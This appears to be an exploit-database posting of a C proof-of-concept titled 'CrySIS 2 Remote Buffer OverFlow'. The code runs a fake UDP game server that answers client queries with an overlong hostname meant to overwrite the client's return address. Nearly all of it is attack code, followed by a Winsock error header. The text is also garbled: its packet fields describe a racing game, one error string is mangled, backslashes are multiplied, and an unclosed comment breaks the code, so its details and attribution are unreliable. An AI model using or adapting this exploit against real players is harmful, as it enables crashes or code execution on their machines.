CrySIS 2 Remote Buffer OverFlow

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# Exploit Title: CrySIS 2 Remote buffer OverFlow
# Date: 20.2.2015
# Exploit Author: Turk DevilZ
# Vendor Homepage: http://www.crysis.com/us/crysis-2
# Software Link: http://www.crysis.com/us/pc
# Version: 2
# Tested on: Windows XP

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/* CrySIS 2 Remote buffer OverFlow Exploit 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif


#define VER "0.1"
#define BUFFSZ 2048
#define PORT 61220
#define RETADD 0xdeadc0de
#define RETOFF 540
#define CRY240 "18022640"
#define CRY242 "18088178"
#define CRYOFF 669 /* referred to pck[] nver, don't change it */
void std_err(void);
int main(int argc, char *argv[]) {
int sd,
err,
on = 1,
psz;
struct sockaddr_in peer;
u_char *buff,
pck[] =
"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\gamename\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\cry6"
"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\gamever\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\240" // it is useless
"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\hostname\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaa"
"0000" // return address
"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\hostport\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\8511"
"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\mapname\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\Fall Winds"
"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\gametype\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\Single Race"
"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\numplayers\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\1"
"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\maxplayers\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\8"
"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\gamemode\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\openplaying"
"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\pbmd\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\0"
"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\password\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\0"
"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\nver\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\" CRY240
"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ctid\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\6"
"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\res\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\38"
"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\dir\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\0"
"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\laps\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\2"
"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ded\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\0"
"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\final\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"
"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\queryid\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\2.1";
if(argc < 2) {
printf("\\\\\\\\\\\\\\\\nUsage: %s <version>\\\\\\\\\\\\\\\\n"
"\\\\\\\\\\\\\\\\n"
"Version:\\\\\\\\\\\\\\\\n"
"240 = this is the default (1.0) and more diffused version\\\\\\\\\\\\\\\\n"
"242 = the latest patched version, rarely used by players\\\\\\\\\\\\\\\\n"
"\\\\\\\\\\\\\\\\n", argv[0]);
exit(1);
}
if(!memcmp(argv[1], "240", 3)) {
printf("Selected version 240 (nver %s)\\\\\\\\\\\\\\\\n", CRY240);
} else if(!memcmp(argv[1], "242", 3)) {
printf("Selected version 242 (nver %s)\\\\\\\\\\\\\\\\n", CRY242);
memcpy(pck + CRYOFF, CRY242, sizeof(CRY242) - 1);
} else {
printf("\\\\\\\\\\\\\\\\nError: you must choose between 240 and 242 only\\\\\\\\\\\\\\\\n");
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
peer.sin_addr.s_addr = INADDR_ANY;
peer.sin_port = htons(PORT);
peer.sin_family = AF_INET;
psz = sizeof(peer);
printf("\\\\\\\\\\\\\\\\nBinding UDP port %u\\\\\\\\\\\\\\\\n", PORT);
err = setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on));
if(err < 0) std_err();
err = bind(sd, (struct sockaddr *)&peer, psz);
if(err < 0) std_err();

printf("The return address will be overwritten with 0x%08x\\\\\\\\\\\\\\\\n", RETADD);
*(u_long *)(pck + RETOFF) = RETADD;

buff = malloc(BUFFSZ);
if(!buff) std_err();

fputs("Clients:\\\\\\\\\\\\\\\\n", stdout);
while(1) {
err = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
if(err < 0) std_err();

printf("%16s:%hu -> ",
inet_ntoa(peer.sin_addr), htons(peer.sin_port));

err = sendto(sd, pck, sizeof(pck) - 1, 0, (struct sockaddr *)&peer, psz);
if(err < 0) std_err();
fputs("BOOM\\\\\\\\\\\\\\\\n", stdout);
}

close(sd);
return(0);
}


#ifndef WIN32
void std_err(void) {
perror("\\\\\\\\\\\\\\\\nError");
exit(1);
}
#endif



/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>


void std_err(void) {
char *error;

switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale CRY file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\\\\\\\\\\\\\\\\nError: %s\\\\\\\\\\\\\\\\n", error);
exit(1);
}

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